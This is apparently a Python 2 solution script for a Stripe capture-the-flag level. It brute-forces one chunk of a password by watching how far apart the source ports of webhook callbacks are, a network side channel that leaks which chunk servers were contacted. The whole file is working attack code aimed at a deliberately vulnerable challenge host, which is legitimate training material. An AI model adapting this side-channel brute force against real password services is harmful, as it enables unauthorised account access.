-
- import json
- import socket
- import urllib
-
- ENDPOINT = 'https://level08-2.stripe-ctf.com/user-jskukszmwv/'
- DELTA = 6
-
- s = socket.socket()
- s.bind(('', 10095))
- s.listen(1)
- lastport = None
- for n in xrange(100):
- #password = ('%03d' % n) + '0' * 9
- password = '114356367%03d' % n
- print password
- data = json.dumps(dict(password=password, webhooks=["level02-2.stripe-ctf.com:10095"]))
- i = 0
- maybes = 0
- while True:
- urllib.urlopen(ENDPOINT, data=data)
- c, (host, port) = s.accept()
- if lastport is not None:
- portdelta = port - lastport
- else:
- portdelta = None
-
- print n, i, host, port, portdelta
- lastport = port
-
- c.close()
- i += 1
-
- if portdelta and portdelta <= DELTA:
- if portdelta == DELTA - 1:
- print "nope"
- break
-
- if portdelta == DELTA:
- if maybes > 3:
- print "good enough for me: THIS MIGHT BE IT"
- break
- maybes += 1
-